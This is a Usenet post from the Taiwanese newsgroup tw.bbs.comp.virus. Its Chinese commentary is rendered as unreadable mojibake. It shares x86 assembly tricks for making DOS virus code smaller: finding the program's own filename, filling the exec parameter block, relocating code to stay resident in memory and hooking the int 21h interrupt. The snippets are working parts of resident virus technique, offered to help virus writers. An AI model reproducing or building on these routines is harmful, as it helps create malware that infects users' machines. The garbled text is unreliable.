Newsgroups: tw.bbs.comp.virus Subject: Re: µ{¦¡½X³Ì¨Î¤Æ¡]½Ķ¤å³¹¡ by Á餸µaªº­ô­ô ) ==> Sagittarius (¤£·R»P¤£³Q·R¤§¶¡) ´£¨ì: : ==> u801403@Winkie.Oz.nthu (·R»P³Q·R¤§¶¡) ´£¨ì: ...(deleted) : ·í­n¦A¦Û§Ú¸ü¤J®É, ¤j³¡¥÷ªº¼gªk³£¬OÃþ¦ü friday, ¦p¤U ^^^^^^^^^^^^^^^^ §ó¥¿¤@¤U, À³¸Ó»¡¬O¦b¦Û§Ú¸ü¤J®É, ¦bÀô¹ÒÅܼưϤº§ä´M¦Û§ÚÀɦW : mov es,es:[2ch] : xor di,di : mov cx,7fffh : xor al,al : find_2zero: : repne scasb : cmp es:[di],al : loopnz find_2zero : mov dx,di : add dx,3 : push es : pop ds : ¦ý¬O¤U­±ªº¼gªk·|§ó¦n : xor ax,ax : xor di,di : mov es,ds:[di+2ch] ; [di+2ch] ·|¤ñ [2ch] ¤Ö 1 byte : inc di : find_2zero: : dec di : sacsw : jnz find_2zero : scasw ; µ¥©ó add di,2 : mov dx,di : push es : pop ds : ­n°õ¦æÀÉ®×®É, ·|¥ý¶ñ¼g pcb ¦p¤U : mov pcb[4],psp_seg_reg ; psp_seg = DS or ES (¬Ý¨º­Ó«ü¦V psp) : mov pcb[8],psp_seg_reg : mov pcb[12],psp_seg_reg : pcb dw 0,80h,?,5ch,?,6ch,? : ¦ý¬O¦³§ó«Óªº¤èªk, ¦p¤U : mov di,offset pcb+4 : mov ax,psp_seg_reg : stosw : scasw : stosw : scasw : stosw : ¦b°µ§¹ rep xxxxx , ­Y½T©w CX ¥i¬°¹s®É, ¥ç¥iµ½¥[§Q¥Î, ¦p : rep movsb ; ±N¦Û¤v move ¦Ü¨ä¥¦°O¾ÐÅé±`¾n : mov ds,cx ; ¦¹®É cx=0 ¥i¥H§Q¥Î : mov ax,offset int21 ; ©³¤U¬O¥Î¨ÓÄd int 21h : xchg ax,ds:[21h*4] : mov es:old21,ax : mov ax,es : xchg ax,ds:[21h*4+2] : mov es:old21[2],ax : ÁÙ¦³³\¦h¨ä¥¦¤èªk, ¦b¤£¦Pªº±¡ªp¤U¦³¤£¦Pªº¤èªk, ³Ì¥D­nªº¬O¹ï©ó : 80x86 «ü¥O¯S©ÊªºÁA¸Ñ